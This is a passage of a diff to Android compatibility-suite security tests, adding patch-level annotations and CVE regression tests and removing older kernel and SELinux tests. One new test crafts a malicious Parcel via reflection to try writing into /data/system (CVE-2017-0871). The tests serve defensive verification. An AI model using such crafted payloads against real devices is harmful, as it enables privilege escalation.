@@ -147,6 +155,7 @@
     }
 
     //testing security bug: 32095626
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_setParamBandLevel() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -162,6 +171,7 @@
     }
 
     //testing security bug: 32585400
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_setParamBandLevel_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -177,6 +187,7 @@
     }
 
     //testing security bug: 32705438
+    @SecurityTest(minPatchLevel = "2017-02")
     public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -186,6 +197,7 @@
     }
 
     //testing security bug: 32703959
+    @SecurityTest(minPatchLevel = "2017-02")
     public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -195,6 +207,7 @@
     }
 
     //testing security bug: 37563371 (short media)
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testEqualizer_setParamProperties_short() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -204,6 +217,7 @@
     }
 
     //testing security bug: 37563371 (long media)
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testEqualizer_setParamProperties_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -213,7 +227,7 @@
     }
 
     //Testing security bug: 63662938
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-10")
     public void testDownmix_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 EFFECT_TYPE_DOWNMIX, new int[] { DOWNMIX_PARAM_TYPE });
@@ -229,7 +243,7 @@
     private static final int DOWNMIX_PARAM_TYPE = 0;
 
     //Testing security bug: 63526567
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-10")
     public void testEnvironmentalReverb_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 AudioEffect.EFFECT_TYPE_ENV_REVERB, new int[] {
@@ -249,7 +263,7 @@
     }
 
     //Testing security bug: 67647856
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testPresetReverb_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 AudioEffect.EFFECT_TYPE_PRESET_REVERB, new int[] {
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index ed6cf5c..a9a457e 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -18,11 +18,11 @@
 
 import com.android.compatibility.common.util.PropertyUtil;
 
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import junit.framework.TestCase;
 
-import android.content.pm.PackageManager;
 import android.content.Context;
 import android.util.Log;
 import java.io.BufferedReader;
@@ -47,15 +47,12 @@
 
     private boolean isRequired() {
         // Optional before MIN_API_LEVEL
-        return PropertyUtil.getFirstApiLevel() >= MIN_API_LEVEL && !isTelevision();
+        return PropertyUtil.getFirstApiLevel() >= MIN_API_LEVEL;
     }
 
-    private boolean isTelevision() {
-        PackageManager pm = getContext().getPackageManager();
-        return pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
-                || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
-    }
-
+    // "getprop", used by PropertyUtil.getProperty(), is not executable
+    // to instant apps
+    @AppModeFull
     public void testEncryption() throws Exception {
         if (!isRequired() || deviceIsEncrypted()) {
             return;
diff --git a/tests/tests/security/src/android/security/cts/FileDescriptorTest.java b/tests/tests/security/src/android/security/cts/FileDescriptorTest.java
new file mode 100644
index 0000000..a7d9702
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/FileDescriptorTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.system.OsConstants.*;
+
+import static org.junit.Assert.fail;
+
+import android.system.ErrnoException;
+import android.system.Os;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileDescriptor;
+
+@RunWith(AndroidJUnit4.class)
+public class FileDescriptorTest {
+  /**
+   * Verify that all file descriptors (excluding STDIN, STDOUT, and STDERR)
+   * have enabled O_CLOEXEC. O_CLOEXEC is essential for avoiding
+   * file descriptor leaks across exec() boundaries. Leaking FDs
+   * wastes resources and can lead to security bugs if an exec()ed
+   * process improperly uses the file descriptor.
+   *
+   * When using native code, we cannot rely on Runtime.exec and
+   * ProcessBuilder.start closing file descriptors for us. The
+   * native code may make it's own calls to fork() / exec()
+   * without pruning open file descriptors.
+   *
+   * This test works by scanning all open file descriptors in
+   * /proc/self/fd/*, calling fcntl(F_GETFD) on the file descriptor,
+   * and verifying that the FD_CLOEXEC flag is set.
+   */
+  @Test
+  public void testCLOEXEC() throws Exception {
+    StringBuilder failMsg = new StringBuilder(
+        "The following FDs do not have O_CLOEXEC enabled:\n");
+    boolean failed = false;
+
+    File[] files = new File("/proc/self/fd").listFiles();
+    for (File file : files) {
+      int fdint = Integer.parseInt(file.getName());
+      if (fdint < 3) {
+        // STDIN, STDOUT, and STDERR are expected to not have O_CLOEXEC
+        continue;
+      }
+      FileDescriptor fd = new FileDescriptor();
+      fd.setInt$(fdint);
+      try {
+        int flags = Os.fcntlInt(fd, F_GETFD, 0);
+        if ((flags & FD_CLOEXEC) == 0) {
+          failed = true;
+          String link = Os.readlink(file.toString());
+          failMsg.append("  ").append(file).append(" -> \"")
+              .append(link).append("\"\n");
+        }
+      } catch (ErrnoException e) {
+        // There's no guarantee that the file descriptor will still
+        // be available when we try to run fcntl on it. The primary
+        // reason why this will occur is because the file descriptor
+        // underlying the listFiles() call above will be gone by
+        // the time we go to examine it, but it could also happen
+        // due to multi-threaded race conditions.
+        if (e.errno != EBADF) {
+          throw e;
+        }
+      }
+    }
+    if (failed) {
+      fail(failMsg.toString());
+    }
+  }
+}
diff --git a/tests/tests/security/src/android/security/cts/HwRngTest.java b/tests/tests/security/src/android/security/cts/HwRngTest.java
index 35c65f5..bb1d5d9 100644
--- a/tests/tests/security/src/android/security/cts/HwRngTest.java
+++ b/tests/tests/security/src/android/security/cts/HwRngTest.java
@@ -16,6 +16,7 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
@@ -73,6 +74,9 @@
      * Asserts that the {@code /dev/hw_random} device is configured in an acceptable way or is not
      * present at all.
      */
+    // the /sys files necessary for this test to pass are not
+    // accessible to instant apps, hence AppModeFull
+    @AppModeFull
     public void testConfigurationIfFilePresent() throws Exception {
         if (!DEV_HW_RANDOM.exists()) {
             // The device is not present
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 1759521..2be37bb 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -27,7 +27,6 @@
 import android.security.cts.IsolatedService;
 import android.test.AndroidTestCase;
 import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
 import com.android.internal.util.ArrayUtils;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -75,9 +74,7 @@
                 mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
     }
 
-
     @SecurityTest
-    @CddTest(requirement="9.2/C-0-1")
     public void testGetCachedServicesFromIsolatedService() throws RemoteException {
         String[] cachedServices = mService.getCachedSystemServices();
         for (String serviceName : cachedServices) {
@@ -86,9 +83,7 @@
         }
     }
 
-
     @SecurityTest
-    @CddTest(requirement="9.2/C-0-1")
     public void testGetServiceFromIsolatedService() throws RemoteException {
         for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
             IBinder service = mService.getSystemService(serviceName);
diff --git a/tests/tests/security/src/android/security/cts/KernelSettingsTest.java b/tests/tests/security/src/android/security/cts/KernelSettingsTest.java
index ca68c78..63da68d 100644
--- a/tests/tests/security/src/android/security/cts/KernelSettingsTest.java
+++ b/tests/tests/security/src/android/security/cts/KernelSettingsTest.java
@@ -33,10 +33,6 @@
 @SecurityTest
 public class KernelSettingsTest extends TestCase {
 
-    static {
-        System.loadLibrary("ctssecurity_jni");
-    }
-
     /**
      * Protect against kernel based NULL pointer attacks by enforcing a
      * minimum (and maximum!) value of mmap_min_addr.
@@ -78,23 +74,6 @@
     }
 
     /**
-     * Verify that ext4 extended attributes (xattrs) are enabled in the
-     * Linux kernel.
-     *
-     * To fix this failure, you need to enable the following kernel options:
-     * - CONFIG_EXT4_FS_XATTR
-     * - CONFIG_EXT4_FS_SECURITY
-     *
-     * Failure to enable this option may result in upgrade problems when
-     * trying to upgrade to Android 4.4.
-     */
-    public void testXattrInKernel() {
-        assertTrue(supportsXattr());
-    }
-
-    private static native boolean supportsXattr();
-
-    /**
      * ICMP redirects should be disabled.
      */
     public void testNoIcmpRedirects() throws IOException {
diff --git a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
new file mode 100644
index 0000000..ee30695
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
@@ -0,0 +1,61 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import android.media.MediaRecorder;
+import android.test.AndroidTestCase;
+
+import java.io.File;
+
+@SecurityTest
+public class MediaRecorderInfoLeakTest extends AndroidTestCase {
+
+   /**
+    *  b/27855172
+    */
+    @SecurityTest(minPatchLevel = "2016-06")
+    public void test_cve_2016_2499() throws Exception {
+        MediaRecorder mediaRecorder = null;
+        try {
+            for (int i = 0; i < 1000; i++) {
+              mediaRecorder = new MediaRecorder();
+              mediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
+              mediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
+              mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+              mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+              mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H263);
+              mediaRecorder.setVideoFrameRate(30);
+              mediaRecorder.setVideoSize(352, 288);
+              mediaRecorder.setOutputFile(
+                      new File(getContext().getFilesDir(), "record.output").getPath());
+              mediaRecorder.prepare();
+              int test = mediaRecorder.getMaxAmplitude();
+              mediaRecorder.release();
+              if(test != 0){
+                fail("MediaRecorderInfoLeakTest failed");
+              }
+            }
+        } catch (Exception e) {
+            fail("Media Recorder Exception" + e.getMessage());
+        } finally {
+            if (mediaRecorder != null){
+                mediaRecorder.release();
+            }
+        }
+      }
+}
diff --git a/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java b/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
index 0d3eda3..382a95f 100644
--- a/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
@@ -53,8 +53,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        mFlFilePath = new File(Environment.getExternalStorageDirectory(),
-                "temp.fl").getAbsolutePath();
+        mFlFilePath = new File(getContext().getFilesDir(), "temp.fl").getAbsolutePath();
 
         mOnPrepareCalled.close();
         mOnCompletionCalled.close();
@@ -88,10 +87,7 @@
     @Override
     protected void tearDown() throws Exception {
         super.tearDown();
-        File flFile = new File(mFlFilePath);
-        if (flFile.exists()) {
-            flFile.delete();
-        }
+        new File(mFlFilePath).delete();
     }
 
     public void testInvalidMidiNullPointerAccess() throws Exception {
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index 3e36fa8..efc050f 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -39,6 +39,7 @@
      * larger than 2. Ensure that we do not attempt to read colors from beyond the end of the
      * color map, which would be reading memory that we do not control, and may be uninitialized.
      */
+    @SecurityTest(minPatchLevel = "2017-06")
     public void test_android_bug_33897722() {
         // The image has a 10 x 10 frame on top of a transparent background. Only test the
         // 10 x 10 frame, since the original bug would never have used uninitialized memory
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index 77d75d8..bb77ca9 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -28,55 +28,6 @@
     }
 
     @SecurityTest
-    public void testPerfEvent() throws Exception {
-        assertFalse("Device is vulnerable to CVE-2013-2094. Please apply security patch "
-                    + "at http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/"
-                    + "commit/?id=8176cced706b5e5d15887584150764894e94e02f",
-                    doPerfEventTest());
-    }
-
-    @SecurityTest
-    public void testPerfEvent2() throws Exception {
-        assertTrue(doPerfEventTest2());
-    }
-
-    @SecurityTest
-    public void testFutex() throws Exception {
-        assertTrue("Device is vulnerable to CVE-2014-3153, a vulnerability in the futex() system "
-                   + "call. Please apply the security patch at "
-                   + "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/"
-                   + "?id=e9c243a5a6de0be8e584c604d353412584b592f8",
-                   doFutexTest());
-    }
-
-    @SecurityTest
-    public void testNvmapIocFromId() throws Exception {
-        assertTrue("Device is vulnerable to CVE-2014-5332. "
-                   + "NVIDIA has released code fixes to upstream repositories and device vendors. "
-                   + "For more information, see "
-                   + "https://nvidia.custhelp.com/app/answers/detail/a_id/3618",
-                   doNvmapIocFromIdTest());
-    }
-
-    @SecurityTest
-    public void testPingPongRoot() throws Exception {
-        assertTrue("Device is vulnerable to CVE-2015-3636, a vulnerability in the ping "
-                   + "socket implementation. Please apply the security patch at "
-                   + "https://github.com/torvalds/linux/commit/a134f083e79f",
-                   doPingPongRootTest());
-    }
-
-    @SecurityTest
-    public void testPipeReadV() throws Exception {
-        assertTrue("Device is vulnerable to CVE-2015-1805 and/or CVE-2016-0774,"
-                   + " a vulnerability in the pipe_read() function."
-                   + " Please apply the following patches:\n"
-                   + "https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?id=75cf667b7fac08a7b21694adca7dff07361be68a\n"
-                   + "https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?id=feae3ca2e5e1a8f44aa6290255d3d9709985d0b2\n",
-                   doPipeReadVTest());
-    }
-
-    @SecurityTest
     public void testSysVipc() throws Exception {
         assertTrue("Android does not support Sys V IPC, it must "
                    + "be removed from the kernel. In the kernel config: "
@@ -86,86 +37,6 @@
     }
 
     /**
-     * Returns true iff this device is vulnerable to CVE-2013-2094.
-     * A patch for CVE-2013-2094 can be found at
-     * http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8176cced706b5e5d15887584150764894e94e02f
-     */
-    private static native boolean doPerfEventTest();
-
-    /**
-     * CVE-2013-4254
-     *
-     * Verifies that
-     * http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c95eb3184ea1a3a2551df57190c81da695e2144b
-     * is applied to the system. Returns true if the patch is applied,
-     * and crashes the system otherwise.
-     *
-     * While you're at it, please also apply the following patch:
-     * http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b88a2595b6d8aedbd275c07dfa784657b4f757eb
-     *
-     * Credit: https://github.com/deater/perf_event_tests/blob/master/exploits/arm_perf_exploit.c
-     */
-    private static native boolean doPerfEventTest2();
-
-    @SecurityTest
-    public void testCVE20141710() throws Exception {
-        assertTrue("Device is vulnerable to CVE-2014-1710", doCVE20141710Test());
-    }
-
-    /**
-     * ANDROID-15455425 / CVE-2014-3153
-     *
-     * Returns true if the device is patched against the futex() system call vulnerability.
-     *
-     * More information on this vulnerability is at http://seclists.org/oss-sec/2014/q2/467 and
-     * the patch is at:
-     * https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=e9c243a5a6de0be8e584c604d353412584b592f8
-     */
-    private static native boolean doFutexTest();
-
-    /**
-     * ANDROID-17453812 / CVE-2014-5332
-     *
-     * Returns true if the device is patched against the NVMAP_IOC_FROM_ID ioctl call.
-     *
-     * More information on this vulnreability is available at
-     * https://nvidia.custhelp.com/app/answers/detail/a_id/3618
-     */
-    private static native boolean doNvmapIocFromIdTest();
-
-    /**
-     * Returns true if the device is immune to CVE-2014-1710,
-     * false if the device is vulnerable.
-     */
-    private static native boolean doCVE20141710Test();
-
-    /**
-     * CVE-2015-3636
-     *
-     * Returns true if the patch is applied, crashes the system otherwise.
-     *
-     * Detects if the following patch is present.
-     * https://github.com/torvalds/linux/commit/a134f083e79f
-     *
-     * Credit: Wen Xu and wushi of KeenTeam.
-     * http://seclists.org/oss-sec/2015/q2/333
-     */
-    private static native boolean doPingPongRootTest();
-
-    /**
-     * CVE-2015-1805 and CVE-2016-0774
-     *
-     * Returns true if the patches are applied, crashes the system otherwise.
-     *
-     * Detects if the following patches are present.
-     * https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?id=75cf667b7fac08a7b21694adca7dff07361be68a
-     * https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/commit/?id=feae3ca2e5e1a8f44aa6290255d3d9709985d0b2
-     *
-     * b/27275324 and b/27721803
-     */
-    private static native boolean doPipeReadVTest();
-
-    /**
      * Test that SysV IPC has been removed from the kernel.
      *
      * Returns true if SysV IPC has been removed.
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index da45f0a..9ce81a8 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -75,17 +75,19 @@
         wellKnownSignatures.add(getSignature(R.raw.sig_shared));
         wellKnownSignatures.add(getSignature(R.raw.sig_testkey));
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys));
+        wellKnownSignatures.add(getSignature(R.raw.sig_networkstack));
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_media));
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_platform));
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_shared));
+        wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_networkstack));
         return wellKnownSignatures;
     }
 
     private static final Set<String> WHITELISTED_PACKAGES = new HashSet<String>(Arrays.asList(
             // APKS are installed before beigning test
-            "android.netsecpolicy.usescleartext.false.cts",
-            "android.netsecpolicy.usescleartext.unspecified.cts",
-            "android.netsecpolicy.usescleartext.true.cts",
+            "android.netsecpolicy.usescleartext_false.cts",
+            "android.netsecpolicy.usescleartext_unspecified.cts",
+            "android.netsecpolicy.usescleartext_true.cts",
 
             // The accessibility APK required to be installed while running CTS
             "android.accessibilityservice.delegate",
@@ -114,7 +116,10 @@
 
             // Test package to verify upgrades to privileged applications
             "com.android.cts.priv.ctsshim",
-            "com.android.cts.ctsshim"
+            "com.android.cts.ctsshim",
+
+            // Oom Catcher package to prevent tests from ooming device.
+            "com.android.cts.oomcatcher"
 
             ));
 
diff --git a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
new file mode 100644
index 0000000..a024e50
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.test.AndroidTestCase;
+import android.platform.test.annotations.SecurityTest;
+import android.security.cts.R;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.BaseBundle;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.util.Log;
+
+import java.io.File;
+import java.lang.reflect.Field;
+
+@SecurityTest
+public class ParcelableExceptionTest extends AndroidTestCase {
+
+    @SecurityTest(minPatchLevel = "2017-12")
+    public void test_CVE_2017_0871() throws Exception {
+        String filePath = "/data/system/" + System.currentTimeMillis();
+        File file = new File(filePath);
+        Bundle bundle = createBundle("java.io.FileOutputStream", filePath);
+        sendBundleToSystem(bundle);
+        assertFalse(file.exists());
+    }
+
+    private Bundle createBundle(String className, String constructorArgument) throws Exception {
+        Parcel data = Parcel.obtain();
+        data.writeInt(1);
+        data.writeString("a");
+        data.writeInt(4);
+        data.writeString("android.os.ParcelableException");
+        data.writeString(className);
+        data.writeString(constructorArgument);
+
+        Bundle bundle = new Bundle();
+        Field parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+        parcelledDataField.setAccessible(true);
+        parcelledDataField.set(bundle, data);
+        return bundle;
+    }
+
+    private void sendBundleToSystem(Bundle theBundle) throws Exception {
+        Context.class
+                .getMethod("sendBroadcast",
+                        Intent.class,
+                        String.class,
+                        Bundle.class)
+                .invoke(getContext(), new Intent("DUMMY_BROADCAST"), null, theBundle);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/PutOverflowTest.java b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
index 9755efa..6f7e8da 100644
--- a/tests/tests/security/src/android/security/cts/PutOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
@@ -22,6 +22,7 @@
 
 @SecurityTest
 public class PutOverflowTest extends AndroidTestCase {
+    @SecurityTest(minPatchLevel = "2015-02")
     public void testCrash() throws Exception {
         try {
             Class<?> keystoreClass = Class.forName("android.security.KeyStore");
diff --git a/tests/tests/security/src/android/security/cts/SELinuxTest.java b/tests/tests/security/src/android/security/cts/SELinuxTest.java
deleted file mode 100644
index 6e65ab4..0000000
--- a/tests/tests/security/src/android/security/cts/SELinuxTest.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.content.Context;
-import android.content.res.AssetManager;
-import android.platform.test.annotations.SecurityTest;
-import android.test.AndroidTestCase;
-
-import junit.framework.TestCase;
-import org.xmlpull.v1.XmlPullParserException;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Collection;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.HashSet;
-
-/**
- * Verify that the SELinux configuration is sane.
- */
-@SecurityTest
-public class SELinuxTest extends AndroidTestCase {
-
-    static {
-        System.loadLibrary("ctssecurity_jni");
-    }
-
-    public void testCTSIsUntrustedApp() throws IOException {
-        String found = KernelSettingsTest.getFile("/proc/self/attr/current");
-        String expected = "u:r:untrusted_app:s0";
-        String msg = "Expected prefix context: \"" + expected + "\"" +
-                        ", Found: \"" + found + "\"";
-        assertTrue(msg, found.startsWith(expected));
-    }
-
-    public void testCTSAppDataContext() throws Exception {
-        File appDataDir = getContext().getFilesDir();
-        String found = getFileContext(appDataDir.getAbsolutePath());
-        String expected = "u:object_r:app_data_file:s0";
-        String msg = "Expected prefix context: \"" + expected + "\"" +
-                        ", Found: \"" + found + "\"";
-        assertTrue(msg, found.startsWith(expected));
-    }
-
-    public void testFileContexts() throws Exception {
-        assertEquals(getFileContext("/"), "u:object_r:rootfs:s0");
-        assertEquals(getFileContext("/dev"), "u:object_r:device:s0");
-        assertEquals(getFileContext("/dev/socket"), "u:object_r:socket_device:s0");
-        assertEquals(getFileContext("/dev/binder"), "u:object_r:binder_device:s0");
-        assertEquals(getFileContext("/system"), "u:object_r:system_file:s0");
-        assertEquals(getFileContext("/system/bin/app_process"), "u:object_r:zygote_exec:s0");
-        assertEquals(getFileContext("/data"), "u:object_r:system_data_file:s0");
-        assertEquals(getFileContext("/data/app"), "u:object_r:apk_data_file:s0");
-        assertEquals(getFileContext("/data/local/tmp"), "u:object_r:shell_data_file:s0");
-        assertEquals(getFileContext("/sys"), "u:object_r:sysfs:s0");
-        File dir = new File("/cache");
-        if (dir.exists()) {
-            assertEquals(getFileContext("/cache"), "u:object_r:cache_file:s0");
-        }
-    }
-
-    private static final native String getFileContext(String path);
-}
diff --git a/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java b/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java
deleted file mode 100644
index 5002a72..0000000
--- a/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java
+++ /dev/null
@@ -1,866 +0,0 @@
-/*
- * Copyright (C) 2018 The AndroCid Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.security.cts;
-
-import android.content.res.Resources;
-import android.test.AndroidTestCase;
-import android.platform.test.annotations.SecurityTest;
-import android.test.InstrumentationTestCase;
-import android.content.Context;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.util.Log;
-
-import java.io.InputStream;
-import java.io.IOException;
-import java.io.ByteArrayInputStream;
-import java.net.InetSocketAddress;
-import java.nio.ByteBuffer;
-import java.nio.channels.ClosedChannelException;
-import java.nio.channels.SelectionKey;
-import java.nio.channels.Selector;
-import java.nio.channels.ServerSocketChannel;
-import java.nio.channels.SocketChannel;
-import java.nio.channels.spi.SelectorProvider;
-import java.security.KeyManagementException;
-import java.security.KeyStore;
-import java.security.KeyStoreException;
-import java.security.NoSuchAlgorithmException;
-import java.security.SecureRandom;
-import java.security.UnrecoverableKeyException;
-import java.security.cert.CertificateException;
-import java.util.Formatter;
-import java.util.Iterator;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.regex.Pattern;
-
-import javax.net.ssl.KeyManagerFactory;
-import javax.net.ssl.SSLContext;
-import javax.net.ssl.SSLEngine;
-import javax.net.ssl.SSLEngineResult;
-import javax.net.ssl.SSLException;
-import javax.net.ssl.SSLSession;
-import javax.net.ssl.TrustManagerFactory;
-
-public class SSLConscryptPlainTextExposureTest extends InstrumentationTestCase {
-
-  private TestSSLServer mTestSSLServer;
-  private TestSSLConnection mTestSSLClient;
-  public static Context context;
-  public static String output = "";
-  private final String pattern = ".*PLAIN TEXT EXPOSED.*";
-
-  public void test_android_CVE_2017_13309() {
-
-    context = getInstrumentation().getContext();
-    mTestSSLServer = new TestSSLServer();
-
-    try {
-      Thread.sleep(1000);
-    } catch (InterruptedException e) {
-      e.printStackTrace();
-    }
-    mTestSSLClient = new TestSSLConnection();
-    mTestSSLClient.StartConnect();
-    assertFalse("Pattern found",
-        Pattern.compile(pattern,
-          Pattern.DOTALL).matcher(output).matches());
-  }
-
-  public static InputStream getResource(final int resource){
-    return SSLConscryptPlainTextExposureTest.context.getResources().openRawResource(resource);
-  }
-
-  public static void setOutput(String data){
-    SSLConscryptPlainTextExposureTest.output = data;
-  }
-}
-
-
-class TestSSLConnection {
-
-  public SSLContext sslc;
-
-  public SocketChannel socketChannel;
-  public SSLEngine clientEngine;
-  public String remoteAddress = "127.0.0.1";
-  public int port = 7000;
-  public ByteBuffer[] dataOutAppBuffers = new ByteBuffer[3];
-  public ByteBuffer dataOutNetBuffer;
-  public ByteBuffer hsInAppBuffer, hsInNetBuffer, hsOutAppBuffer, hsOutNetBuffer;
-  public boolean isHandshaked = false;
-  public ExecutorService executor = Executors.newSingleThreadExecutor();
-  public InputStream clientKey = null;
-  public InputStream trustedCert = null;
-
-  public void StartConnect() {
-    KeyStore ks = null;
-
